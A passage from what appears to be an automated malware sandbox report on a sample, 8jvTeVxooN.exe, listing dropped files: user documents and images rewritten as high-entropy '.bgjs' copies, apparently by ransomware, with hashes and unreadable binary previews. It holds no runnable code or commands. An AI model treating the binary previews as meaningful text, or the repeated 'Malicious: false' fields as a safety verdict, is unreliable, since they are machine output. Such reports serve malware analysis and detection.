.8.!.D.S.V..z..gd{~....+O.-V.N\'?P......x0..@ez...3.....J:(;u._.........!.~co.....S3..'......W...\|....e..S&.....Dv+......Y.P.....;..-.#."..C.._~

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873105864153122
Encrypted:	false
SSDEEP:	24:3aJzK9wa2gcX/bZXRm28rkfHmPC1IP7Cg2ADfpGTrZFEfP3ZuObD:BSa2F/HZ7GND2ZqHLD
MD5:	44A20D766CB57A95166ACAE2F6CA81CA
SHA1:	4AEA05201175D0819C1F321B2C3DC021DB3313DE
SHA-256:	02FA3D11D3CAB81AD7020625DDC7C1EFB43BB6E4D1F89CC3CCF82271181F43FE
SHA-512:	4D975DF8951B307E1564EF69F09D8B092B9A451D3DA250D9317194D469F7A36A2F199CC807F8129B34BB33D71AD21B1CF60BAB7DDB9D6675A0B1F3C5B26CAC61
Malicious:	false
Preview:	UMMBD@y.a.?k..2.....~._.......p.......@l..=>h.o..J]..7.!...."+y.c..V.\.....^........P.O..{y.}.l].bh6.....'.N..8r.)..c;..L_[...J..g.F.0.w..qpX..se...u)@...X..S....0...@.&Q.<.....H_,.`...9O....i\~....zC&......E'A.s]...<..(~....bu..q_..`....<~`.....F.TJ.`.0._..0......F.;.}(......s.K.k.n...h.....M!$..!cO..S....N.wY.#I..%y..../"..a..R..[N>..t.zY.M.Gs.S.2W..e..G2.....v... .7$..L...........$...,....3.b....SnW..B8FMg.E%0/$d.......o..=..... k6...b....3..-.d.{7..........s.\|I.....r...Cil....CEP..9...l.. .S.9.......yN.U...R.)?.7c.-.T....h....K.M?..W..Ea<K.....*...P.....t.,d.d\|.d.~).=Z^ .j@....Lz....x.JIB.....ox... NIOb...w.X"T...8...<..\|.u.....4. _.\.8..(...a...%.Di!.........m6...... .....<1.'.@...P...s.A...b..}=2...<Xk...[m%......2..._.}..Y)........OW..V3.cj/~Xe...4.=.x.......j.P.B......'.vi....q.`..b`.. ......XQ.....}v...q.n`2aI...p..G..........[....>jSyc..K..O.E.....y.r...o..".&=).,.K...g.Vw...X.f..bTc...-....w6..K....(.%.;L.B.t..^....Q..Xm.

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870321932921523
Encrypted:	false
SSDEEP:	24:LqcO2+rxoO2xpxhSo74wXPYk4sCEvKTPSKgxn6UyL6IDeRObD:LLixoOkEoXXgVgKvgxn6UyPD/D
MD5:	5218EA3948C472223E336B00D705A705
SHA1:	C41D6127C5F9DE5286270F12238ACCFB7B427259
SHA-256:	6AE46765C3C3DF5CA34AF3A6D868E09BDE1217FB99C08070FC9A07ADAEEFDB48
SHA-512:	7D5FBE3928DF1CEC920EF5112F4080AC07DCBDFCE53CDD78537E9775D32269D9557AF84C25B6D7B9C0E3D86E007446F5D37E24CF93CFB47E99648A140F3DE9FD
Malicious:	false
Preview:	VLZDG.$.N.5R.cl..rq...."!(.....G,...G.GBA...Z..y-(.-....LW.O.`.Y.'.N..\.)QO.`.;......N.B.......YZ2........-..b.9&.^.qK..k.V....\..`$o..G.+.[{.....o+??U...7.}.......1./`....~...d.M.{s.\|6...b.e........;.bj$..0,E..h.U.......>....&dE.0.Z./..nr4M.\|....:....H...!.oR;\|.>f..!.)O.I+... ./R<c...{..2.o...t\.u....-.<..(....p..".iX...O...k......@..mK.r6@.5..G...P.~.8.q.?..~....i...-....d.Z..>......[.X\|..a.}W..b....0&(..o...xHCH.......}.)..:.t...t;...j...#S/.<........r...N,..&...?.m....I....I0..K.......[.e../<.ff~.F.J..l.6.F>>..[..,.....H.B.C8x..gLLf...qO..@.Nl_....j..'...w%_~.x...5ER.g..;A......n.^..>F.....1...[....."...tO.....j..U..c.O=.YF...k.............O..<.....Eb...@A.....?.... z....(..s.=.f."..?...V.W..t..].Y.>.........)...........p.......V.m..c?..'k..I....s.....?.^......=a.5._....Eh?....YuJ.q.p.;.K..LB.A.w.JkI...,...K..W...\?g@.8e..f.#O..sj..$7..D....N0......f..aS..G..~l\|w.-bV.O%sQ.[./..........$7Z.a.......}m4F.mH.....w...]......A.O.o

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842369326142388
Encrypted:	false
SSDEEP:	24:HQl8jDMmWukNOzwbWSMksJhooDqv/8I7Jr0zDyBs6WJ8uDahNg2/75kp9rObD:w4omWBLbnNsGv/8Itr1gJduOKFkTAD
MD5:	635D29FDEC49357ABA2D3C73AF0BCBB1
SHA1:	EEA322011B28EA30BE8AD2DD7D88583475780F87
SHA-256:	0BF3AA2F6E24E490B628AACBE8F9811BCCF65D452ECEEB3E2E20BE2F845F52D2
SHA-512:	7F62EB22374AA63EDE5BE108D82D69B207CB34D4EA080DB4377BF07D4F87E76C45A7DC01C3FE8736139EE0E4AB4126F0D6B3560A66C94578D7DA3519C01F04A7
Malicious:	false
Preview:	VLZDGp.$.+{.Q[0........#...a..5.`.Z.2"...&....U76.X.X<C.Z....../....@..L........b..sy...j.{....2...eS..9/I`...p...0.....e.....~.....v.[....H...0.>WnH......"....a.9........E..zbJ....a7^ N..n..Y}s..O....%.....E......F.:.YI..0r...~..E..~..E3.YK..T`o.L.-}c@j.....H.....L....@....rX........4..YF.P...4..f.D.N..y..L..@..4...k.. .m...`.Q{..F$...h.O...K.>N...0..[..\|rja...?ht5..+...-...6. 7..M..W5..,.qI\O...b&RPx..H..l.@;..5j.-.d..4>.F.....+.7...... Z.....q"..n.....7.F.)h......V....9.I..a.S_A...@?....C....`}..d....c..j.X.....@..~v.v.l.....z...JJ..jNT.=f..'$.......i$.8...X0..w......P...:.>.z9..B..r.......~...f=BF..,]...`.9..l F%..q.....0......=...._.r.i...!.L.M.,.T....Z..D.U..9.j..Y).}=..#.'z4..KV.O..(....@6.o..!.>*...../.....=0.B..}uWg..#d.Nf.....7+.0..f.,M^.w1...$...3..^.A.....A...X....z.Y.p....9f...}.Mk.!.;6......4h..... +L;.t..t.#1 e.....>jkr.F..r.{.:.h.e4].zka.d.q .@_.%.\|...E....Ja;k^.....c^.x>=.....V.>... .4.=.;IU.;....1@.".....0i.\[b

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844525316789598
Encrypted:	false
SSDEEP:	24:Jske1PEWewP8WY2w35p2f3sz1pCmGcOHHRqrSMWeuQ4L7UJDTObD:JUPE4EWY2A2f3sz1pCm+AWTQ4LwmD
MD5:	697471DB3DD32FB58DEE8F5EF3B50CD3
SHA1:	B95D8BF618889867B9D6131D887059EDCC34B996
SHA-256:	E7F81DDF48B52451C9717C0620DEC517DA6FD6359B53596A711C94E46AB7A906
SHA-512:	8BDAE6ED1935DC33FF7E9E6F83C6D2F88E9E9A0B1C6772FD8D3916198E7AB65FD5812D19F9D1710282113C233D10489BAA9C8FC5570832DBD992AD54BA929B43
Malicious:	false
Preview:	XZXHA.......O...$.k.r..'u.u~....}BQ.\l..z.8rV..wd...~..R...8...r....<.e..yz.n..}.j...n...7UA.0...J..i...cu..-.v....L.......P........H..T..!m..!J.r..._g....Gt.}e..<...?&y..<.?X5".O...=W-..g.hy:...wX.\|B..q.^$..}..-.Q....e.......q{l.e.M..rO..#@..C..f4...v.......J;Q.z...kk..8..B..Ep.OV..E}..Kx...t..;G.2....}X.T2.A...6.....j.......M..p.05mTOFy..Zc.y.mEe..>3..ul... .....Q...WN..0.n2....:._E=%7...z'.j._t=..r.U0....=Y...F.c=;....%..8D.9I...pG...X....EB.t.Ww..............:..w.j....C.C:b.o.lj.......a...w...^}......A...D..Y"Gd..D..tn.........9...E1...wj.3..nf..3.".......h#n.{.k.Ck.MlN..E.........h.5.\.`..N>.../....8.Fom......?...z}......E.f=.....$.v.B+..9v.7.n.....c3.Iz... .@...vM..np......Q.b..~.cB..tw......".4nC...d..I..C...$.hE..P'.S.,..X..f..{V........m..4...]{.5.Dq.v.>].s..<.o..V...9...._..bY....L.'.9O'G.K....p....$F.v.].n.x..H...DP....I.5V=..b.g........Z.....w.N..;....a..aL.....?:..[5Y.S9..M...P..!.=..SR!y}.O..7qB....}:.5.g.3`

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844445031174202
Encrypted:	false
SSDEEP:	24:rvZ8zuyrmrMVjimjM8/kOG55srp1RQAiz03+H2WX1IvYWFgC1g4wbObD:rWzm1mjM8/k7sl1R41lIgmWwD
MD5:	22F4D67309278430412E1339E8DE57AA
SHA1:	5DEE61E7E9224BB6B3D87A77E240A78196CF2A82
SHA-256:	A989D53BA13CC9805DD4798B869BBC7A249C55EA38F2AD004F51EC2443EE291C
SHA-512:	4AABEF82BE9F7938D0A995F7BE1DB76C82F735982506DEBBFD672FC985FF4B248F3BD8500C86EEC93843CE6035A77C86EB12C4FC75F79824D39D8568C16778D2
Malicious:	false
Preview:	XZXHA..II..R.........K..14...amG.. .AT...X..?mpll.KCB..u.9.9...W.....~'.d.`...K7F.A........P....d...1..........`k.).~.9..C..P....3'RH...y7f........0.5...a..6..9.!.V....8.....$R..A.V......A..>a0.7&t+.X.......4..QC....#....\|.....=#TX.05......m.P....V,..E.5p:..<sm...4.w_.=...R.$ ;..p"V.4...$....iJ&.../......%....^..G....[.2.Dd]>..C....b..o.5f......t....y!.,3.Wh=$..n%.&.M.w.;O.)on.2.dz.t.....C...#..~...5.....0I.]......C.. ......t.,...T..c./..OW.5(".......U.F.d..>.1.LUU.d.8........I1>....P..6.%d2...6.Y...#....`. ._Nc=q."......t.(.r:$....964n...?...SO.}\|.i..T...N)={.l...3J6..z%..K;t&a..I?..H..X.?l..D7$]o....Y....mg.P...?Mv..Nk..=.......$...V...[....7.[4I9..Q9.Y...8......"%.z...r.\|.J.......'....A.$...A..)L .$...k.....!..YW.q..L...V!...#....a.i.G.....$;.j..[U,n.:......9.A(<..'..;.P^.n......Hk....d.4EE.....HJ..E!......M.FC....u...e^.v.K..h..5[...B\|.....:..R..KM:...U.W-.q<Rf.~C.!.....B..{.km.b...o&.f..Y..Y...b.......2./5\JS...[7..&.m..r.l...

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857908823698629
Encrypted:	false
SSDEEP:	24:mxoyM1XhFHkkfrdQCg+Qx5+IKK8FW5k6zkOQktEJLpKOObD:mxihhrpELWvW5k6lQMWERD
MD5:	1B7438B27F383717D91DE4CB1D078884
SHA1:	A6BD524102EB4ABFA2D788F725749A92A2FEB272
SHA-256:	DB88DFBB1BCCD3C14D2AB425B3D3931836CDE9D728F784D452D7803BFD094B47
SHA-512:	F28517349619B1E1F061A9D0DBA85C6C8E01EABF2376FE18DA4FA01064879CD4B54FD374A6683CCCD5054E6324C36CFB22A263923360E123AF52F843255BC188
Malicious:	false
Preview:	YPSIA.!...o.c:.-.^k.v..m.s...H..v.Q..C..T......HR=...F..".....V?.....5...T..hV/}...A..Y...L...........U2.@..[...o..A.{.Lj..s.WL!T.v.-U.4.).%.u..l..\|.. ?....u......H%.}...3...K.`..)6.bvZ.2`3U.L...].......]J...&M{0l..B@...<.S..aGf..f...-.4U...@dA...M(<...b.d.Q.O?.(.0..Kb.H..J_0.....O...A.......h../E.a...re..a{.....Qp.5....\|..~.....hS..^....P....1j..d.`S.<~...a[....j.._..G.J./..:.98L2H$........K.X.:..?$.L.G...w..X..\.@..c...8t8.....g./....n.......e.:..0.l<..I..or.......8S.]yQ>d.9.....bO...3.A..X.....{.....X?..cY..}...5. .."..V:......J,.D.<L2yF.5?..9..A(...F....z.:.$&...V....o...]_<..?..Mv;...NWL...j982#.y.l...r.....u..B.g.0..-%.g..RI.&.m:9.A~6r..).Y).....`....z....=Sy..].\..E...S.......d?0T.{.+...u3.I.......R.<b.m.WO>.P.Nb..q..!..X ......e..C._.i.C.;.c..l..9N.U.a_......e..Q.H...L.......e.UE...o.-Y......{k.Y`.#W........v.\..78._...U....I[....B......hV..@]....Nn..BvF...?*.8.B3,...(.......w^>;.L.7h...R..,..\|..%:.h..<..=..'.b.8

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829269082707881
Encrypted:	false
SSDEEP:	24:JwT1HDQlLYaHFq1cFS5gq2J46gC5h9kUV8ioB0BP0AhObD:dLYalq1cFS+P/5h91o+v2D
MD5:	09C1AE2A095C580BEC86FD8E7FC3E14F
SHA1:	B6B6C03A4F1CBA1917AAE64DEA0F2ABB2301BE21
SHA-256:	22694B69A7B168A34A93361F9E8316329263AA4289BEAE85CE497DB49DE8A6B6
SHA-512:	EE0A30BEA1664A2B0B1ED7B4B55ECD6172D21A1295A82B8A9CC50A9159C52F94AA9E23FA173808939B7C430DE1ED14E78B2CE13A6A5DC27375A268288E024F42
Malicious:	false
Preview:	YPSIAB.#.9.qR..=..L.4&kB..V.t".p...O.V._s...2X.O.EW].K....'^.k..t..D..d.P....LsU`...).U.m....$...b...w....&...^..GU..`....?.....4>1.......".......[1._....c<..88R..?`."...9.1..n..$%..U..N-.6.........]/.W.7Q...U.....`..Xk..N..D....J...........%..$h..W.Z..........u..,qVU..U!.q..,.G.%\|...IER.{.Y4..0qM......%x.....h.....5.O.....0$.^r....+..a.....#<.;^.a..]..$dy....U:?.......^2.6.HT..S..0..R..9.t...t<....E.lB.K.{..x....Q.s..V.a..h.7_Y7...C..kJll&i.`.].....\..a0.+....;r.=/.Xu.Y..d.@..e..w...r....>:.T2..Y..B......k.....;G.C...;.&.:=..^.....jv.Q.`..4..............<...C.>..f.....t=..;.w..."W..t.S.'a..W....Q.{.1.....a.w..P.}...hlDm..iRAY).B.p...}.."..\|..]..T.'....d.......*..#:.{K...!..P-..?.5...n...t\.C..w.......pX....xoR.......%..x\|..[../.".v...`GC.(.....vpxcy.......j.X:..bcI...}W:...a."A....,_......BE.~hD# g..uv1..\|.c....j.7......J.. I..> .].t..!..q...6.W.3,..\...Y...h~.F.h.;7C.......A.6./........^8.wM.i.....pD...`W.....M7..WF...:.;@F.^@..x.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZBEDCJPBEY.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829177320840859
Encrypted:	false
SSDEEP:	24:G9aT8+Ab7nSzDrFjhTKkNWWJs/CymB+OOdTpaQGn6EgYaObD:BTPi7S/rFIGWWeKNsaQVET9D
MD5:	9CC3AFF57AFAF3086BDCA9CB30EC1C4B
SHA1:	8BB909E1234DB335D51C8DBD0553CD165946B0A3
SHA-256:	C20EF8ED76123E49BA9A63279C0F1FF736E804BCE2340F82A05BE6F3E2B8A87D
SHA-512:	9596EDD1BF8878F9A3C94C81D86C8E98A1AE63396CDFC57DA2F4AD8BE1E89DBDD36EB988DC29B60AD5AA69CA68671221310675B4DE76AE48BAA3D0D1648BB2D6
Malicious:	false
Preview:	ZBEDC.N..B-.htS..}.Lo.BK\q......C..q..c..Nd..a.~..7.......4.Q.U.G.#u.NpZ..k;...k...j.S.wsI}.c}k...-....-K..:...e/vi.r...xG..#W.v.@.z..~O..Ms+.....V...2..r.:Iz"....\|\..j...&K.Z....r.....].$,....Yv%wp.5.r....q..I...T7..D...l.....Zvv........M' .(.K.....YYG..X8.[....-..Q.t%Mp..1'B..Kt..^.wk..=.b.\...h.....E.cm..1..k....'&..e..%...2..6.-.=G.y..)0z.....C... 5.....K..<f.f.FtI2..!........:..(........T...mo[#.4F.~U"F.q........r.%..<..........xz6.U..9..K.._.t@.[...z.....e.<...}......)~.Y:.bUb..8...=..(...-..... .#..s..#x.o.,(.gn...b.t8[....&.y......S.&...T.?..%...%..o....i7$.....+..r.@.>..Q.Om.(.....p.o..K_..R....y.q..w....#4...SO.m\..4 ..HyZ.)YHA1..Uj6."AM.....\(.X..x....X...:..'.k...&........k.s"....g._.A...qQ.$t.H..........r.:o.rm.4.d..sd.^......[......<9...fNT&....S........i%....p.7.a.%.x..,.3?.7..6....I.'G/..C.w..O...1..._..v.a.S.....T8y....q.\|Y....wv.A..h.k.0.8..o....LU...80..v.v~.9<.5....q#@..........i...O.#8.>2P.....u....n.6.R.....z(...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZUYYDJDFVF.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8593568895537835
Encrypted:	false
SSDEEP:	24:czhMCbHPBgycpVKH1nBdfoArjaClOuO4yo/+bM1RkToSnjzdLKQUfPl8ObD:czhMWBgHpO1BdAWmUO4yomWUJnHdiD
MD5:	62E130B56C506E783606C22874E40104
SHA1:	CB0A7C427CF8D61E70A8AA72C6D3104ACCA3ACF9
SHA-256:	888CB7299AA220BAAAE4BDBB1A53857EF3EF806FD92BD33AFEE99C4AF55989DC
SHA-512:	37EDB4D418587C2643A8DD1B10A1BC0BB3B8A5FD06E256F128AB1FE3305C17014E84BD36D24529B83D24BE31FCE9AC6F3E00FADE4603E9457FED26B5FF71F3C6
Malicious:	false
Preview:	ZUYYD.!.6.m.=..v....c..X...2....,.x.&.k.n.'...0.{ ..2..vMq...w ^wc.....'.!Gr..Ua..!.<...w........CT....BV..g.D.ci.W.L...j..]i.^..(IG..~.g....._.).4....>S9..r....X.8piB..b,yBJ.K3.T....L.hlR.v..<h...$..p..1..H<s...g.uO..1L3~.4H..]......<..r....L......v\|i.N &....y...p#.N..{.W....x@...g.....9...V......h....U..../.....D...#.....9..Q..J .....].%=..$.j_N..6.<..6.Z.C:...S.a.TC.............0....0......G6, 8..a....L\.K.I{V..2y... {&..<.:.x...JW>..N..m...y.9.[-b.xL......N.....x..kH..iy..0s....y?.']...p..&;..%e#.jON>..?....O.\......(!...z...B..%...M....K...?......T..]..*.8.......Go.v..>r..@.u.MwB..b8.Qy69Ph...........q.c1....1.z~&O..W..`8....N]........?L.;R2...T{.J..6^..t...5......3...3...B..H4d?rR.<.8..........+....y......0..<.w.p..C..,...p$.c.P.....?....f....(...J.uEHq.......qy...{?;.6...t..F.a.M._.P...B..;o.BZ...)......"....3..w5...g.kv7.k.........Q...Z5...n..E4=.&$.....DA......3@h..B..K...Z.L.p+.@>....EQ..}. #.....`8.'d.r.<.1...Q..I.....)o.L..

C:\Users\user\Application Data\Skype\RootTools\roottools.conf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.385863836222191
Encrypted:	false
SSDEEP:	6:LNu+KvV+pdXRLUf3xJcovRxmYdjDwfBnHBDUBtq5fZdv793ocbmuBscii96Z:Dtv5UcwjhD8BnHBI7q5j93jCuOcii9a
MD5:	2505C03280BCDFABD42FC93C5278594E
SHA1:	55E133D6422FA5C1839B610F43D06A5868E921DD
SHA-256:	96983C6B1358D808C91A14096D3B408C96A1DF1ECD3ABF77738F05D7333054E2
SHA-512:	DEAD7AF9CD458F24CE7EF697B2540624015C82F8B4E03F3B3C99FEBB7A082CAEE1883C9CD0ECA7AEEA0D3FE5BA88BE520C9DB086B74F0FA159A0055C322BB58A
Malicious:	false
Preview:	node_._......G..4v.x/m.....r..o4w.8.f-...W..L.....^..B..0M.X.L...lr....Os.U.C..h...y.$v..M..0;z..,k.G.M\...5,CJ..$..]...S.......~V.T.H,.(.S\./.....TU.xK.\| b.av.V.t.Bq..........cj...56..>..d)....fx&GU......B..3iX...y.].3B3._........^+.~..m.U.+.!FP....c0b..l:...M.AB.h.g....VT..f~d......Q.Cs....xW..[.E.f0(Jc...*Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\AIXACVYBSB\AIXACVYBSB.docx

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84026075186552
Encrypted:	false
SSDEEP:	24:TBKL6dKAtzpf8EJ37DZqfslyP+RfMI/elMzxZnQfqj2cwYof7Eq9YmVBQkTuObD:To2dKcPZqfslhJklMzxZnQfC7A7km0o5
MD5:	43C8273D32E3EBBC4936678958C1567F
SHA1:	72D7C2750E6CC8FA5FD0324E4A09EBD5D184B56E
SHA-256:	753DD324B50E341BA9E648C0C4322C43D1337D5968546B84BE1BCDB8ECCEA01D
SHA-512:	8B9BBFDFDAE9D34D8BA44A1C8249F0AA3FDE38106E2BBBC5741F679673FFF4F55E635268B97F0F6F61C5FFDE2DA656203460C8EA2B2DB20CE30AEEFF32DF20C7
Malicious:	false
Preview:	AIXAC,..d.?...]..3....Ce..M...>e.8....hY..%.{9v]O.w.}C.j....[.a...x!B_...Q,.x.....M= .......?.t.^.K4..C.....S..q.Qx&.^C.J.iCVe.6]4.\|$.0%..Q.c....ib..:...=n4r.$f......g......B....$7.X...........Z.N;.Z.3...\|.Z].y.....h.&.c.nX.c......x...8^T.......8g..H.@MQ.f..e.9...".+..R.....H.:?.K....XAl.x.@W.....ew.......4d60Y.r.....eH....j......>0.....O...CG.I...3....B} M'dpIq1..f...[G%(......GGPg..2.]%.3:..c.._fy......c.k%>3...3..g...n$./P~.f..a.......GHF..(&.....t.......%...V.<..Zy#.O.......`.....VC...;..4.!.Ho{B:.Q..w..e./..&.7o....O.......P.....a....:.c.......mv..9`O...\|D...;.ids.C....$..r....v,Q..l.M.r......%.....,...7....H....'[.......R.....+...;..{f.V....m.....px........G.f).X.V..d.V.].,.......l...~.U2>..f....Ie......m....T.A...5.s........Y...E..M.\|....0..a..>..y....8....I.u\|.\.....f.p.`G.8..^.A8...&....8..dn..g]Iv..R.4/....bE<.lO..,..[&+.o..!...K.."Uw:x......{*H...a..L..~.I8._Kf......q.[S.!0.....p..=..^.z......{...U.2..D..p.,Lm.T...8.

C:\Users\user\Desktop\AIXACVYBSB\AIXACVYBSB.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84026075186552
Encrypted:	false
SSDEEP:	24:TBKL6dKAtzpf8EJ37DZqfslyP+RfMI/elMzxZnQfqj2cwYof7Eq9YmVBQkTuObD:To2dKcPZqfslhJklMzxZnQfC7A7km0o5
MD5:	43C8273D32E3EBBC4936678958C1567F
SHA1:	72D7C2750E6CC8FA5FD0324E4A09EBD5D184B56E
SHA-256:	753DD324B50E341BA9E648C0C4322C43D1337D5968546B84BE1BCDB8ECCEA01D
SHA-512:	8B9BBFDFDAE9D34D8BA44A1C8249F0AA3FDE38106E2BBBC5741F679673FFF4F55E635268B97F0F6F61C5FFDE2DA656203460C8EA2B2DB20CE30AEEFF32DF20C7
Malicious:	false
Preview:	AIXAC,..d.?...]..3....Ce..M...>e.8....hY..%.{9v]O.w.}C.j....[.a...x!B_...Q,.x.....M= .......?.t.^.K4..C.....S..q.Qx&.^C.J.iCVe.6]4.\|$.0%..Q.c....ib..:...=n4r.$f......g......B....$7.X...........Z.N;.Z.3...\|.Z].y.....h.&.c.nX.c......x...8^T.......8g..H.@MQ.f..e.9...".+..R.....H.:?.K....XAl.x.@W.....ew.......4d60Y.r.....eH....j......>0.....O...CG.I...3....B} M'dpIq1..f...[G%(......GGPg..2.]%.3:..c.._fy......c.k%>3...3..g...n$./P~.f..a.......GHF..(&.....t.......%...V.<..Zy#.O.......`.....VC...;..4.!.Ho{B:.Q..w..e./..&.7o....O.......P.....a....:.c.......mv..9`O...\|D...;.ids.C....$..r....v,Q..l.M.r......%.....,...7....H....'[.......R.....+...;..{f.V....m.....px........G.f).X.V..d.V.].,.......l...~.U2>..f....Ie......m....T.A...5.s........Y...E..M.\|....0..a..>..y....8....I.u\|.\.....f.p.`G.8..^.A8...&....8..dn..g]Iv..R.4/....bE<.lO..,..[&+.o..!...K.."Uw:x......{*H...a..L..~.I8._Kf......q.[S.!0.....p..=..^.z......{...U.2..D..p.,Lm.T...8.

C:\Users\user\Desktop\AIXACVYBSB\DTBZGIOOSO.xlsx

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839372080549091
Encrypted:	false
SSDEEP:	24:2/eFnDm1M5rlj+JCKBhXSoYyKR5HLHoK+3XN92dHO3d3th5pI6EObD:2/eFnDd5pj+JCcRwrHfu9wHw13I6D
MD5:	8FD9772E21E3D117DD6574775BD480C5
SHA1:	D358AC56FEB1ABB2BA2D8AEFD31BC1066A03DAEB
SHA-256:	177A5CEE2AB9E2A69EA62DE47958B85A0044B41E85792F33CC1650CCC67D19B0
SHA-512:	6F5C753C1DE252AC9BF42ACD726C7D29E06D87993105A1FB5AE9DB9C7960219049ED64CF1C6DC8E52207C8CB2BED1F4AF3790F5C912FE51950BF710184B17689
Malicious:	false
Preview:	DTBZGz...i..3+._........K.;....{..]?.....R>>f{..W.aD..vjF...#..QI.....D&....i......_t.HI.f\.qi..VO.<..H....V..#....)Tt.....3.....%.......}GV....SxHkz&F....5t.~J.(..%`VU...q..aa...%...z%.l0..C9.ez...\nsR.\.Oi.B..gZ..B'/=[.k'.]Q1.F.].;L.....73...{..]...H..._VU..$.d...2..e.9....p...4.%s.@..E_a[B.S..l..%.~.....A.....<Q.~!......,S.g..z.5..O]..\|.........H`.Q.z.....7L..\|0..\|TMzMc..4I......-..Y..L.... Y.=.".2..$...".D{T..v.kg..Q.wK8.4....L..b~....#b....<C....u....4.....V\|Phe....d..."..o.;...B..e..{..\|....!r.1z._...MD'...#.I.~._...=.......sl.b.....M.._.......U.dK>........m......[C.K.n...`].u~{...K...../g.,NB...x.......-...i!xZG; .U..JF...-..(..i....O.+a....x..F ...-.uc....%........N..6=...%it.b.v.......@......=..VFH....p..U..L...u`.F.k...\|P.8O.\|d...C_......}.....`...^!.....B....p.M1s.....T...H.....c"..aM ..n5]:.=.O.V...,....`'..I...C.[;.\|\....U.@..F..?..zx..!m*.1{.H.......a..\|@$nF......2O...;.{... w..6F.r(.E..)I._.....C$L.T..

C:\Users\user\Desktop\AIXACVYBSB\DTBZGIOOSO.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839372080549091
Encrypted:	false
SSDEEP:	24:2/eFnDm1M5rlj+JCKBhXSoYyKR5HLHoK+3XN92dHO3d3th5pI6EObD:2/eFnDd5pj+JCcRwrHfu9wHw13I6D
MD5:	8FD9772E21E3D117DD6574775BD480C5
SHA1:	D358AC56FEB1ABB2BA2D8AEFD31BC1066A03DAEB
SHA-256:	177A5CEE2AB9E2A69EA62DE47958B85A0044B41E85792F33CC1650CCC67D19B0
SHA-512:	6F5C753C1DE252AC9BF42ACD726C7D29E06D87993105A1FB5AE9DB9C7960219049ED64CF1C6DC8E52207C8CB2BED1F4AF3790F5C912FE51950BF710184B17689
Malicious:	false
Preview:	DTBZGz...i..3+._........K.;....{..]?.....R>>f{..W.aD..vjF...#..QI.....D&....i......_t.HI.f\.qi..VO.<..H....V..#....)Tt.....3.....%.......}GV....SxHkz&F....5t.~J.(..%`VU...q..aa...%...z%.l0..C9.ez...\nsR.\.Oi.B..gZ..B'/=[.k'.]Q1.F.].;L.....73...{..]...H..._VU..$.d...2..e.9....p...4.%s.@..E_a[B.S..l..%.~.....A.....<Q.~!......,S.g..z.5..O]..\|.........H`.Q.z.....7L..\|0..\|TMzMc..4I......-..Y..L.... Y.=.".2..$...".D{T..v.kg..Q.wK8.4....L..b~....#b....<C....u....4.....V\|Phe....d..."..o.;...B..e..{..\|....!r.1z._...MD'...#.I.~._...=.......sl.b.....M.._.......U.dK>........m......[C.K.n...`].u~{...K...../g.,NB...x.......-...i!xZG; .U..JF...-..(..i....O.+a....x..F ...-.uc....%........N..6=...%it.b.v.......@......=..VFH....p..U..L...u`.F.k...\|P.8O.\|d...C_......}.....`...^!.....B....p.M1s.....T...H.....c"..aM ..n5]:.=.O.V...,....`'..I...C.[;.\|\....U.@..F..?..zx..!m*.1{.H.......a..\|@$nF......2O...;.{... w..6F.r(.E..)I._.....C$L.T..

C:\Users\user\Desktop\AIXACVYBSB\UMMBDNEQBN.mp3

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
